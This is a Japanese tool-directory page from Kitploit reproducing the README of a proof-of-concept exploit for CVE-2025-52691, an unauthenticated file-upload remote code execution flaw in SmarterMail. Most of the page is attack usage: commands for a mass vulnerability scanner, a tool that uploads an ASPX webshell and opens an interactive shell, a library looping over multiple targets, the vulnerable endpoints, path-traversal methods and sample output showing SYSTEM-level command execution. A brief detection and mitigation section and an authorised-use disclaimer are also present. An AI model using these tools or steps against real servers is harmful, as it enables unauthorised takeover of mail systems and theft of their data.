Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-52691-poc | Kitploit
ツール/GitHubGitHub/rimbadirgantara/cve-2025-52691-poc
脆弱性スキャナーペイロード生成脆弱性分析エクスプロイトシェルコードウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubrimbadirgantara/cve-2025-52691-poc

CVE-2025-52691-poc

リポジトリを見る
37ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-52691 POC

CVE-2025-52691 の概念実証 - SmarterMail の未認証の任意ファイルアップロード RCE

⚠️ 免責事項

許可されたセキュリティテストおよび教育目的のみに使用してください。 不正アクセスは違法です。

概要

SmarterMail における重大な脆弱性で、パストラバーサルによる未認証の任意ファイルアップロードを可能にし、リモートコード実行に至ります。

脆弱性: アップロードエンドポイントのパストラバーサルにより、Web ルートに ASPX ウェブシェルをアップロード可能
影響: 未認証のリモートコード実行
ベクトル: ネットワーク / 未認証

インストール

root@kitploit:~
git clone https://github.com/yourusername/CVE-2025-52691-POC.git
cd CVE-2025-52691-POC
pip install requests urllib3

ツール

check.py - 脆弱性スキャナ

CVE-2025-52691 の脆弱性を持つターゲットをスキャンします。脆弱性のある URL のみを出力ファイルに保存します。

root@kitploit:~
# Single target
python check.py https://mail.example.com

# Multiple targets
python check.py -f targets.txt -o results.txt

# Custom timeout
python check.py https://mail.example.com -t 30

出力: results.txt に 1 行あたり 1 つの脆弱性 URL

pwn.py - エクスプロイトツール

ASPX ウェブシェルをアップロードし、コマンド実行を提供します。

root@kitploit:~
# Basic exploit
python pwn.py https://mail.example.com

# Execute command
python pwn.py https://mail.example.com -c "whoami"

# Interactive shell
python pwn.py https://mail.example.com -i

exploit.py - Python ライブラリ

カスタムスクリプトに統合するための再利用可能なエクスプロイトモジュール。

ライブラリとして:

root@kitploit:~
from exploit import SmarterMailExploit, TargetConfig, ExploitResult

# Basic usage
config = TargetConfig(base_url="https://mail.example.com")
exploit = SmarterMailExploit(config)

if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
    print(exploit.execute_command("whoami"))

# With custom timeout
config = TargetConfig(base_url="https://mail.example.com", timeout=60)
exploit = SmarterMailExploit(config)
result = exploit.exploit()

# Execute multiple commands
if result == ExploitResult.SHELL_UPLOADED:
    print(exploit.execute_command("whoami"))
    print(exploit.execute_command("hostname"))
    print(exploit.execute_command("ipconfig"))

スタンドアロンスクリプトとして:

root@kitploit:~
# Import and run in Python
python -c "from exploit import *; e=SmarterMailExploit(TargetConfig('https://mail.example.com')); e.exploit()"

# Create custom script
cat << 'EOF' > my_exploit.py
from exploit import SmarterMailExploit, TargetConfig, ExploitResult

targets = ['https://mail1.example.com', 'https://mail2.example.com']
for target in targets:
    config = TargetConfig(base_url=target)
    exploit = SmarterMailExploit(config)
    if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
        print(f"[+] Exploited: {target}")
        print(exploit.execute_command("whoami"))
EOF
python my_exploit.py

技術的詳細

脆弱なエンドポイント:

root@kitploit:~
/api/upload
/api/v1/upload
/Interface/Frmx/UploadFile.aspx
/MRS/Upload.ashx
/Services/Upload.ashx

攻撃方法:

  • パストラバーサル (../wwwroot/) を使用したマルチパートフォームアップロード
  • カスタムヘッダーを使用した Raw POST
  • base64 エンコードされたコンテンツを含む JSON ペイロード

ウェブシェル: ?cmd= パラメータでコマンドを受け付ける最小限の ASPX シェル

攻撃フロー

  1. ターゲットをスキャン: python check.py <target>
  2. エクスプロイト: python pwn.py <target> -i
  3. 対話型シェルでコマンドを実行

検出と緩和策

検出:

  • Web ディレクトリへの ASPX ファイルアップロードを監視
  • ログでパストラバーサルパターン (../) を確認
  • 予期しない /api/upload リクエストをアラート

緩和策:

  • SmarterMail を最新バージョンに更新
  • 厳格なファイルパス検証を実装
  • アップロードフィルタリング付き WAF を導入
  • アップロードエンドポイントで認証を必須化

例

root@kitploit:~
$ python pwn.py https://mail.example.com -c "whoami"

[*] Target: https://mail.example.com
[+] Target is alive
[*] Shell filename: s4a7b3c2.aspx
[*] Attempting to upload webshell...
[+] SUCCESS! Webshell uploaded
[+] Shell URL: https://mail.example.com/s4a7b3c2.aspx

[*] Executing: whoami
[+] Output:
nt authority\system

テスト前に必ず適切な許可を取得してください。

ツールをダウンロード